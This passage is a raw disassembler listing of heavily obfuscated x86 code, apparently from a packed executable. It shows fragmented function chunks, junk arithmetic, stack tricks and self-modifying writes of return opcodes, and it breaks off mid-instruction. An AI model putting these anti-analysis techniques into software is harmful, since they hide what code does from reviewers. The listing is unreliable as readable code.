sub_43BEC1+7p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00439C61 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004417FC SIZE 00000006 BYTES ; FUNCTION CHUNK AT 00441F64 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00443DA0 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00446EA5 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0044C259 SIZE 00000005 BYTES xchg edx, [esp+0] pop edx push 0E846C3FAh xchg ebx, [esp+0] mov edi, ebx jmp loc_44C259 sub_43C22F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43C242 proc near ; CODE XREF: sub_43E15A+1p ; y22d6.y.:00440272j ; FUNCTION CHUNK AT 004373A3 SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0043C3F0 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043EA17 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 00440242 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 004405BE SIZE 00000007 BYTES ; FUNCTION CHUNK AT 00443013 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 004463C7 SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0044E3C5 SIZE 0000000B BYTES xchg eax, [esp+0] loc_43C245: ; CODE XREF: y22d6.y.:loc_44BBCFj pop eax mov ebp, esp push esi push ecx pop esi call sub_448D0A loc_43C250: ; CODE XREF: sub_43BA32+EE8Cj jmp loc_43EA17 sub_43C242 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A6E1 loc_43C255: ; CODE XREF: sub_43A6E1+17AFj jmp loc_44A4AA ; END OF FUNCTION CHUNK FOR sub_43A6E1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_441F08 loc_43C25A: ; CODE XREF: sub_441F08+53F5j popf mov [ecx], edi pushf jmp loc_440899 ; END OF FUNCTION CHUNK FOR sub_441F08 ; --------------------------------------------------------------------------- loc_43C263: ; CODE XREF: y22d6.y.:00448349j sub al, 99h push offset sub_43C65F jmp loc_44DF29 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4432B8 loc_43C26F: ; CODE XREF: sub_4432B8-4004j mov edx, 8D40711Dh call sub_44D293 push esi loc_43C27A: ; CODE XREF: y22d6.y.:loc_44DA18j mov esi, eax xchg esi, [esp+4+var_4] ror eax, 1Ah call sub_43CC60 loc_43C287: ; CODE XREF: y22d6.y.:00440CF2j cmp ebp, 91802235h jmp loc_43B650 ; END OF FUNCTION CHUNK FOR sub_4432B8 ; --------------------------------------------------------------------------- mov edx, [esi] or edi, 8A137618h jmp sub_445629 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43BCA9 loc_43C29F: ; CODE XREF: sub_43BCA9:loc_448DD9j jz loc_437ABD loc_43C2A5: ; CODE XREF: sub_4389FD+14447j jmp loc_437280 ; END OF FUNCTION CHUNK FOR sub_43BCA9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_443EA2 loc_43C2AA: ; CODE XREF: sub_443EA2+7j jmp loc_437970 ; END OF FUNCTION CHUNK FOR sub_443EA2 ; --------------------------------------------------------------------------- shr eax, 0Eh jmp loc_437AAE ; --------------------------------------------------------------------------- adc esi, edi add ebx, 53E7FD4Fh jmp sub_448AF8 ; --------------------------------------------------------------------------- loc_43C2C4: ; DATA XREF: sub_43A6E1+F0FDo rol eax, 17h push edi push 5BDF172Eh pop edi xor edi, 0F632D82Ah call sub_440DCC ; START OF FUNCTION CHUNK FOR sub_446F34 loc_43C2D9: ; CODE XREF: sub_446F34+6409j jmp loc_44CA97 ; END OF FUNCTION CHUNK FOR sub_446F34 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_440330 loc_43C2DE: ; CODE XREF: sub_440330+CA63j xor esi, ecx mov ebp, 5B628659h jmp loc_447EBA ; END OF FUNCTION CHUNK FOR sub_440330 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437FD8 loc_43C2EA: ; CODE XREF: sub_437FD8+Bj ; sub_437B01:loc_43BD72j push offset loc_44C794 ; END OF FUNCTION CHUNK FOR sub_437FD8 ; START OF FUNCTION CHUNK FOR sub_449641 loc_43C2EF: ; CODE XREF: sub_449641+AA4j jmp nullsub_147 ; END OF FUNCTION CHUNK FOR sub_449641 ; --------------------------------------------------------------------------- sbb ebp, eax jmp sub_44585C ; --------------------------------------------------------------------------- mov ds:dword_41E0C8, eax lea eax, nullsub_338 mov byte ptr [eax], 0C3h jmp loc_4420EF ; --------------------------------------------------------------------------- loc_43C30F: ; CODE XREF: y22d6.y.:00438ECBj mov eax, [esp] jmp loc_449049 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43DA5D loc_43C317: ; CODE XREF: sub_43DA5D:loc_446DC9j add ebx, 4E8913F3h or ebx, 461D885Eh add ebx, 90420622h xchg ebx, [esp+4+var_4] mov edx, esp jmp loc_448C8B ; END OF FUNCTION CHUNK FOR sub_43DA5D ; --------------------------------------------------------------------------- loc_43C333: ; CODE XREF: y22d6.y.:00447584j jz loc_4494E6 jmp loc_43C5E1 ; --------------------------------------------------------------------------- test edi, 68BCBB15h jmp loc_43B7CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C222 loc_43C349: ; CODE XREF: sub_44C222:loc_43E237j add ecx, 0F5FC9FC3h sub ecx, 0C61EAC6Dh jnz loc_44706D add ebp, 0B04A107Ch jmp loc_44C420 ; END OF FUNCTION CHUNK FOR sub_44C222 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4409F4 loc_43C366: ; CODE XREF: sub_4409F4:loc_43902Ej ; sub_4409F4-15D7j mov eax, [ebp-8] push edx push 2E47C19Eh pop edx loc_43C370: ; CODE XREF: sub_448EB6:loc_44242Aj xor edx, 2E2BB7C3h cmp edx, 357FBB44h jmp loc_43AE59 ; END OF FUNCTION CHUNK FOR sub_4409F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_444F37 loc_43C381: ; CODE XREF: sub_444F37:loc_439B15j jl loc_43A0F4 loc_43C387: ; CODE XREF: sub_439595+1138Ej jmp sub_4483BF ; END OF FUNCTION CHUNK FOR sub_444F37 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442FA7 loc_43C38C: ; CODE XREF: sub_442FA7+17j jmp loc_43C5D6 ; END OF FUNCTION CHUNK FOR sub_442FA7 ; --------------------------------------------------------------------------- rol ecx, 11h mov [ebx], esi loc_43C396: ; CODE XREF: y22d6.y.:loc_449B3Fj jmp loc_43A0F4 ; =============== S U B R O U T I N E ======================================= sub_43C39B proc near ; CODE XREF: y22d6.y.:0043C441j ; sub_43A9C6+5FE6p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043C9B5 SIZE 00000005 BYTES xchg edi, [esp+0] pop edi xchg edx, [esp-4+arg_0] jmp loc_43C9B5 sub_43C39B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44271A loc_43C3A7: ; CODE XREF: sub_44271A:loc_438653j jz loc_4388A2 jmp loc_44148E ; END OF FUNCTION CHUNK FOR sub_44271A ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_181. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43C3B3: ; CODE XREF: sub_448EB6-1BC6j jmp sub_439595 ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C41 loc_43C3B8: ; CODE XREF: sub_442C41+8C2Fj mov eax, [ebp+8] cmp dword ptr [eax-0Ch], 4 jnz loc_43C3CE add dword ptr [ebp-8], 4 jmp loc_438F79 ; --------------------------------------------------------------------------- loc_43C3CE: ; CODE XREF: sub_442C41-6882j add dword ptr [ebp-8], 2 jmp loc_44DF33 ; END OF FUNCTION CHUNK FOR sub_442C41 ; =============== S U B R O U T I N E ======================================= sub_43C3D7 proc near ; CODE XREF: sub_444717p ; y22d6.y.:004471AAp ; FUNCTION CHUNK AT 0043A84F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00440B23 SIZE 00000005 BYTES push ebp jmp loc_440B23 sub_43C3D7 endp ; =============== S U B R O U T I N E ======================================= sub_43C3DD proc near ; CODE XREF: sub_43734D:loc_44130Bp ; y22d6.y.:0044AE5Fj ; FUNCTION CHUNK AT 004385B6 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00439590 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043989E SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0043A717 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AD5F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AF2C SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043BA94 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043BBD7 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 00443BB2 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00443FEB SIZE 00000017 BYTES ; FUNCTION CHUNK AT 00445E6F SIZE 0000000B BYTES xchg ecx, [esp+0] pop ecx push ecx mov esp, ebp xchg edi, [esp+0] mov ebp, edi and edi, esi jmp loc_43989E sub_43C3DD endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43C242 loc_43C3F0: ; CODE XREF: sub_43C242:loc_4373B4j push 5B88E3EEh pop ebx sub ebx, 0B16CBC95h rol ebx, 1Eh call sub_440D6B loc_43C404: ; CODE XREF: sub_44807C:loc_444478j jnp loc_445D84 jmp loc_443013 ; END OF FUNCTION CHUNK FOR sub_43C242 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_182. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_449CED loc_43C410: ; CODE XREF: sub_449CED-B0B5j jmp loc_440B7A ; END OF FUNCTION CHUNK FOR sub_449CED ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43D5BB loc_43C415: ; CODE XREF: sub_43D5BB+5j jmp loc_43A98D ; END OF FUNCTION CHUNK FOR sub_43D5BB ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_196. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43837F loc_43C41B: ; CODE XREF: sub_43837F+12B7Bj jmp loc_43B2F8 ; END OF FUNCTION CHUNK FOR sub_43837F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_43C420: ; CODE XREF: sub_4392B0+549Ej jmp loc_44A2FD ; END OF FUNCTION CHUNK FOR sub_4392B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_437712 loc_43C425: ; CODE XREF: sub_437712+Fj push 58964BBCh xchg edx, [esp+4+var_4] mov edi, edx pop edx sub edi, 436687A9h jmp loc_43B4B5 ; END OF FUNCTION CHUNK FOR sub_437712 ; --------------------------------------------------------------------------- jns loc_43B59F jmp sub_43C39B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_447527 loc_43C446: ; CODE XREF: sub_447527+8j push offset loc_44E6AB jmp nullsub_95 ; END OF FUNCTION CHUNK FOR sub_447527 ; --------------------------------------------------------------------------- pushf ror ecx, 1Fh jmp sub_448BA0 ; --------------------------------------------------------------------------- cmp ecx, esi jmp loc_43FEC0 ; --------------------------------------------------------------------------- loc_43C460: ; CODE XREF: y22d6.y.:0044A4A5j jge loc_44843D ; =============== S U B R O U T I N E ======================================= sub_43C466 proc near ; CODE XREF: sub_440626+B9B6p ; FUNCTION CHUNK AT 004471DB SIZE 0000001B BYTES xchg ecx, [esp+0] pop ecx push ecx push 453EA615h pop ecx or ecx, ds:4000E2h sub ecx, 0EDFB674Fh jmp loc_4471DB sub_43C466 endp ; --------------------------------------------------------------------------- loc_43C482: ; CODE XREF: y22d6.y.:loc_440FCBj not edi and ecx, eax xor esi, ebx jmp loc_4417DE ; --------------------------------------------------------------------------- loc_43C48D: ; CODE XREF: y22d6.y.:00443A97j push offset sub_44C4FF jmp loc_448DCC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B7D4 loc_43C497: ; CODE XREF: sub_43B7D4+BFDCj jz loc_44B25A jmp loc_44636A ; END OF FUNCTION CHUNK FOR sub_43B7D4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44057E loc_43C4A2: ; CODE XREF: sub_44057E:loc_448D31j add eax, ebp add eax, 0A31DD7C3h mov eax, [eax] mov eax, [eax] push ebp push esi jmp loc_444036 ; END OF FUNCTION CHUNK FOR sub_44057E ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_160. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B17B loc_43C4B6: ; CODE XREF: sub_44B17B-293Cj jmp loc_44B7BB ; END OF FUNCTION CHUNK FOR sub_44B17B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44AC0F loc_43C4BB: ; CODE XREF: sub_44AC0F-11B3Bj jmp sub_443C3C ; END OF FUNCTION CHUNK FOR sub_44AC0F ; --------------------------------------------------------------------------- ror eax, 7 jmp sub_43FCB6 ; --------------------------------------------------------------------------- loc_43C4C8: ; CODE XREF: y22d6.y.:0043EA36j jno loc_44AE74 xchg ebp, eax ; START OF FUNCTION CHUNK FOR sub_447940 loc_43C4D0: ; CODE XREF: sub_447940:loc_43941Dj or edx, 0CAAB060Ah xor edx, 6E249F4Fh add edx, ebp jmp loc_43AC83 ; END OF FUNCTION CHUNK FOR sub_447940 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4383E0 loc_43C4E3: ; CODE XREF: sub_4383E0+DAFFj xor ecx, 8C1B04ABh loc_43C4E9: ; CODE XREF: y22d6.y.:loc_449603j push edx mov edx, eax xchg edx, [esp+0] lea eax, dword_4401FC push eax push eax jmp loc_44E5C2 ; END OF FUNCTION CHUNK FOR sub_4383E0 ; --------------------------------------------------------------------------- locret_43C4FC: ; CODE XREF: y22d6.y.:loc_44CA70j retn ; --------------------------------------------------------------------------- rol eax, 2 add eax, 8C445B8Eh rol eax, 1Bh xor eax, 385C639Eh rol eax, 16h jmp loc_44A494 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_43C517: ; CODE XREF: sub_43B252j mov eax, ds:dword_4464B4 or eax, eax jnz loc_44851D jmp loc_448670 ; END OF FUNCTION CHUNK FOR sub_43B252 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_43C52A proc near ; DATA XREF: sub_43B7B5:loc_44C761o jmp loc_44B989 sub_43C52A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44E5C7 loc_43C52F: ; CODE XREF: sub_44E5C7-13616j ; sub_44E5C7-1149j pop ecx pop ebp locret_43C531: ; CODE XREF: sub_43FAC6:loc_43EB90j retn ; END OF FUNCTION CHUNK FOR sub_44E5C7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A58D loc_43C532: ; CODE XREF: sub_43A58D-284Bj jmp nullsub_194 ; END OF FUNCTION CHUNK FOR sub_43A58D ; --------------------------------------------------------------------------- loc_43C537: ; CODE XREF: y22d6.y.:00441786j cdq ; =============== S U B R O U T I N E ======================================= sub_43C538 proc near ; CODE XREF: sub_448B90-8B65p ; FUNCTION CHUNK AT 004442D1 SIZE 0000000A BYTES xchg edi, [esp+0] pop edi add esp, 0FFFFFFF8h mov [ebp-1], al cmp byte ptr [ebp-1], 0 jmp loc_4442D1 sub_43C538 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44B489 loc_43C54B: ; CODE XREF: sub_44B489-8D20j mov edi, [eax] ror ecx, 13h jmp loc_44B062 ; END OF FUNCTION CHUNK FOR sub_44B489 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44C02C loc_43C555: ; CODE XREF: sub_44C02C-C96Cj cdq jmp loc_4443CE ; END OF FUNCTION CHUNK FOR sub_44C02C ; =============== S U B R O U T I N E ======================================= sub_43C55B proc near ; CODE XREF: y22d6.y.:0043712Aj ; sub_43AEAA+Ap ... var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0043AD50 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043AF41 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0043DAA2 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0043F8C9 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 004422D0 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00442624 SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0044321F SIZE 00000010 BYTES ; FUNCTION CHUNK AT 004446AE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 00444CAC SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00445781 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 004484BC SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00448528 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 00448657 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00449F8C SIZE 00000002 BYTES ; FUNCTION CHUNK AT 0044B5D4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BF4C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0044BFEF SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044C72F SIZE 00000007 BYTES ; FUNCTION CHUNK AT 0044D17A SIZE 0000001E BYTES xchg esi, [esp+4+var_4] pop esi mov eax, [ebp-4] mov al, [eax] jmp loc_444CAC sub_43C55B endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43A041 loc_43C569: ; CODE XREF: sub_43A041+19j call sub_4485B6 jnz loc_43CBBD mov ecx, [ebx+edx-4] or ecx, ecx jz loc_44A936 mov ebx, [ebx+ecx] jmp loc_44A931 ; END OF FUNCTION CHUNK FOR sub_43A041 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442E1F loc_43C588: ; CODE XREF: sub_442E1F+15j test byte ptr [eax-7], 10h jz loc_43B866 push offset sub_440E61 jmp nullsub_350 ; END OF FUNCTION CHUNK FOR sub_442E1F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_438A6F loc_43C59C: ; CODE XREF: sub_438A6F+550Cj add eax, 8B08F9C0h mov eax, [eax] shl eax, 2 cdq add eax, [esp+8+var_8] adc edx, [esp+8+var_4] jmp loc_44B612 ; END OF FUNCTION CHUNK FOR sub_438A6F ; --------------------------------------------------------------------------- loc_43C5B4: ; CODE XREF: y22d6.y.:loc_44034Aj or edi, edx xchg ebp, [ebx] or edi, 77E132D4h jmp loc_43B224 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43B252 loc_43C5C3: ; CODE XREF: sub_43B252:loc_441CA8j rol eax, 1Bh xor eax, 385C639Eh push offset sub_44A491 jmp nullsub_112 ; END OF FUNCTION CHUNK FOR sub_43B252 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442FA7 loc_43C5D6: ; CODE XREF: sub_442FA7:loc_43C38Cj mov eax, [ebp-14h] mov eax, [eax+24h] call sub_4444B1 loc_43C5E1: ; CODE XREF: y22d6.y.:0043C339j jmp loc_43C64E ; END OF FUNCTION CHUNK FOR sub_442FA7 ; --------------------------------------------------------------------------- shr ebp, 10h jmp loc_44D5B1 ; =============== S U B R O U T I N E ======================================= sub_43C5EE proc near ; CODE XREF: y22d6.y.:0043B5DFj ; sub_449641-B891p ; FUNCTION CHUNK AT 0044AF94 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0044D4BC SIZE 00000005 BYTES xchg edi, [esp+0] pop edi rol eax, 4 push ecx push 6486687Ah pop ecx and ecx, 41CD578Bh jmp loc_44D4BC sub_43C5EE endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43923C loc_43C607: ; CODE XREF: sub_43923C:loc_44B06Aj push 0F28DC385h pop ebx xor ebx, 5F71342Dh rol ebx, 6 xor ebx, 0C71C0A74h add ebx, 4821C78Ch xchg ebx, [esp+0] jmp loc_438487 ; END OF FUNCTION CHUNK FOR sub_43923C ; =============== S U B R O U T I N E ======================================= sub_43C62A proc near ; CODE XREF: sub_4449C0:loc_4447FBj var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0044215D SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044477F SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044947D SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0044CFC4 SIZE 00000006 BYTES push ebx push 0CC792F09h pop ebx or ebx, 191BBA18h jmp loc_44477F sub_43C62A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43F35E loc_43C63C: ; CODE XREF: sub_43F35E+34F1j jz loc_43EF03 jmp loc_441FF8 ; END OF FUNCTION CHUNK FOR sub_43F35E ; --------------------------------------------------------------------------- db 3Bh dd 0C099E9FBh db 2 dup(0FFh) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442FA7 loc_43C64E: ; CODE XREF: sub_442FA7:loc_43C5E1j sbb ecx, 94077DC2h cmp esi, 1FCC3330h jmp loc_439006 ; END OF FUNCTION CHUNK FOR sub_442FA7 ; =============== S U B R O U T I N E ======================================= sub_43C65F proc near ; DATA XREF: y22d6.y.:0043C265o arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0043CD84 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DFD7 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0043EAFC SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0043FD5B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440895 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 00444841 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004488BA SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00449EC5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044A466 SIZE 00000004 BYTES ; FUNCTION CHUNK AT 0044B31F SIZE 0000000B BYTES mov edx, [ebp-4] imul byte ptr [edx] cmp al, 0A4h jz loc_440899 jmp loc_43FD5B sub_43C65F endp ; sp-analysis failed ; --------------------------------------------------------------------------- locret_43C671: ; CODE XREF: y22d6.y.:loc_441C88j retn ; --------------------------------------------------------------------------- loc_43C672: ; CODE XREF: y22d6.y.:004445D4j jmp loc_4393BF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_448EB6 loc_43C677: ; CODE XREF: sub_448EB6-52B1j jmp loc_44CE5E ; END OF FUNCTION CHUNK FOR sub_448EB6 ; --------------------------------------------------------------------------- loc_43C67C: ; DATA XREF: sub_4475B3-102EAo lea eax, loc_447E4C mov byte ptr [eax], 0C3h jmp loc_448408 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_43E7BF loc_43C68A: ; CODE XREF: sub_43E7BF:loc_447E4Cj xchg eax, [esp+4+var_4] and edx, ebp jmp loc_437172 ; END OF FUNCTION CHUNK FOR sub_43E7BF ; =============== S U B R O U T I N E ======================================= sub_43C694 proc near ; CODE XREF: sub_447E7D-2099j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 00437148 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 00437CFE SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0043949B SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043DA27 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043FE21 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 004427EB SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447CC9 SIZE 00000011 BYTES push ebx push 0DB546D4Eh pop ebx add ebx, 0AA598372h jmp loc_447CC9 sub_43C694 endp ; --------------------------------------------------------------------------- test esi, ebp jmp loc_43B483 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_442C0C loc_43C6AD: ; CODE XREF: sub_442C0C:loc_43AD55j add esi, ebp add esi, 9EF0D38h mov [esi], eax xchg ebp, [esp+8+var_8] jmp loc_437E49 ; END OF FUNCTION CHUNK FOR sub_442C0C ; --------------------------------------------------------------------------- loc_43C6BF: ; CODE XREF: y22d6.y.:004378CEj jb loc_44478A ; =============== S U B R O U T I N E ======================================= sub_43C6C5 proc near ; CODE XREF: sub_44D7E0-2157p arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00444846 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi add edx, 3FA92CFBh xchg edx, [esp-4+arg_0] jmp loc_444846 sub_43C6C5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_43C6D7 proc near ; DATA XREF: sub_43DF56-3088o var_4 = dword ptr -4 ; FUNCTION CHUNK AT 004370EC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00437766 SIZE 00000023 BYTES ; FUNCTION CHUNK AT 00438DD5 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00439489 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043AC98 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043B6ED SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0043B796 SIZE 0000001F BYTES ; FUNCTION CHUNK AT 0043D1E3 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0043D951 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0043F8E2 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00440035 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 004402F5 SIZE 00000013 BYTES ; FUNCTION CHUNK AT 004415BC SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00442540 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 0044270C SIZE 0000000E BYTES ; FUNCTION CHUNK AT 004447DE SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044525E SIZE 0000000B BYTES ; FUNCTION CHUNK AT 00445F78 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 004463C2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0044BE14 SIZE 00000009 BYTES ; FUNCTION CHUNK AT 0044C9C8 SIZE 00000018 BYTES ; FUNCTION CHUNK AT 0044CE1D SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0044E252 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0044E4C8 SIZE 00000027 BYTES or eax, eax jnz loc_4415BC jmp loc_4370EC sub_43C6D7 endp ; --------------------------------------------------------------------------- jmp ds:dword_41E150 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_4392B0 loc_43C6EA: ; CODE XREF: sub_4392B0+11j jmp loc_43E71D ; END OF FUNCTION CHUNK FOR sub_4392B0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_3. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- or dword ptr [esp-74A60000h], 4 and al, 56h mov esi, edx xchg esi, [esp] push edx jmp loc_438C5F ; --------------------------------------------------------------------------- jbe loc_44E28D and eax, esi jmp sub_43B0EE ; =============== S U B R O U T I N E ======================================= sub_43C712 proc near ; CODE XREF: y22d6.y.:0043BD8Cj ; sub_43A3A9+45ECp arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0043779D SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00437C5D SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0043A3B8 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0043AC62 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 0044015F SIZE 00000009 BYTES ; FUNCTION CHUNK AT 00440B05 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00440F3A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442021 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 004420EA SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00442691 SIZE 00000019 BYTES ; FUNCTION CHUNK AT 0044382C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00445528 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 00447906 SIZE 0000001D BYTES ; FUNCTION CHUNK AT 0044941D SIZE 00000016 BYTES ; FUNCTION CHUNK AT 0044CBF3 SIZE 0000001A BYTES xchg edx, [esp+0] pop edx mov [ecx+0B8h], eax call sub_43CB3F loc_43C721: ; CODE XREF: sub_44A095-F614j jmp loc_44941D sub_43C712 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_44DA4B loc_43C726: ; CODE XREF: sub_44DA4B-1E12j jz loc_449C99 jmp loc_443BEF ; END OF FUNCTION CHUNK FOR sub_44DA4B ; --------------------------------------------------------------------------- db 81h, 0CAh, 0C1h dd 816EE232h, 5F8874C2h, 0BFADE881h db 2 dup(0FFh) ; --------------------------------------------------------------------------- loc_43C742: ; CODE XREF: y22d6.y.:004437D5j jnz loc_43AAF2 jmp loc_439678 ; =============== S U B R O U T I N E ======================================= sub_43C74D proc near ; CODE XREF: sub_43DB23+9C0Cp ; y22d6.y.:0044C849j xchg edi, [esp+0] pop edi pop ebx lea eax, sub_43DB23 mov byte ptr [eax], 0C3h jmp sub_43DB23 sub_43C74D endp ; sp-analysis failed ; --------------------------------------------------------------------------- call 